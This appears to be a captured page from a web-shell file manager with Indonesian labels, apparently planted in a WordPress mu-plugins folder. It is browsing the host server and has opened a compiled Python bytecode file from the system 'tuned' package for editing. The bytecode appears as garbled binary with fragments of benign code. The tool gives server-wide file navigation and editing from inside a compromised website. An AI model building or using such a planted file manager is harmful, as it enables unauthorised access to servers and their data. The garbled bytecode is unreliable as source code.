📂 Advanced File Manager
Multi-Root Navigation System
⚡ Quick Jump
Server (/)
Home (/home)
Var_www (/var/www)
Current (/home4/shelley/public_html/wp-content/mu-plugins)
📍 Go
⬆ Ke Atas
🏠 Root Server
🏠 Root App
🔄 Refresh
📀 /
›
usr
›
lib
›
python3.9
›
site-packages
›
tuned
›
profiles
›
functions
›
📁 __pycache__
📍
Lokasi:
/usr/lib/python3.9/site-packages/tuned/profiles/functions/__pycache__
💾
Free:
45.4 GB
⚠️ Direktori ini
tidak writable
.
✏️ Mengedit: function_calc_isolated_cores.cpython-39.pyc
a �]�i� � @ sb d dl Z d dlZd dlZddlmZ d dlmZ d dlm Z ej �� Ze � Z G dd� dej�ZdS )� N� )�base)�commandsc s, e Zd ZdZ� fdd�Z� fdd�Z� ZS )�calc_isolated_coresz� Calculates and returns isolated cores. The argument specifies how many cores per socket reserve for housekeeping. If not specified, 1 core per socket is reserved for housekeeping and the rest is isolated. c s t t| ��dd� d S )Nr r )�superr �__init__)�self�� __class__� �Y/usr/lib/python3.9/site-packages/tuned/profiles/functions/function_calc_isolated_cores.pyr s zcalc_isolated_cores.__init__c sL t t| ��|�sd S d}t|�dkrh|d �� r@t|d �dk r\t�d|d | jf � d S t|d �}i }t � tj� tjd��D ]|}tj�|�dd � }|�� r�tj� |d�}tj�|�s�t�d||f � q�| j�|��� }|�� r�|�|g �|g ||<